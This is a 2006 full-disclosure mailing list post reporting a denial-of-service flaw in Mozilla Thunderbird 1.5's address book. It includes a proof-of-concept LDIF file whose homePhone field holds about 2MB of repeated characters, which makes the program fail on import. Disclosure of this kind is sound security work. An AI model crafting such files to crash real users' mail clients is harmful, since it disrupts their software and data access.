full-disclosure - Mozila Thunderbird 1.5 Address Book DoS

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Message-ID: <43F62907.4090901@securax.org>
Date: Fri Feb 17 20:21:37 2006
From: javor at securax.org (Javor Ninov)
Subject: Mozila Thunderbird 1.5 Address Book DoS

Affected: Mozila Thunderbird 1.5 /possibly other versions/

Mozila Thunderbird 1.5 address book allows fields of unlimited size in
the address book which leads to a DoS if you import such ldif file

POC: create a file.ldif and insert following then import it in address book:
n: cn=Test POC by DrFrancky@...urax.org,mail=drfrancky@...urax.org
objectclass: top
objectclass: person
objectclass: organizationalPerson
objectclass: inetOrgPerson
objectclass: mozillaAbPersonAlpha
givenName: Test
sn: POC by DrFrancky@...urax.org
cn: POC by DrFrancky@...urax.org
mozillaNickname: DrFrancky
mail: drfrancky@...urax.org
nsAIMid: DrFrancky POC
modifytimestamp: 0Z
homePhone: aaaaaaaaaaaaaaa[2MB of 'a']


Credits:
DrFrancky
drfrancky@...urax.org

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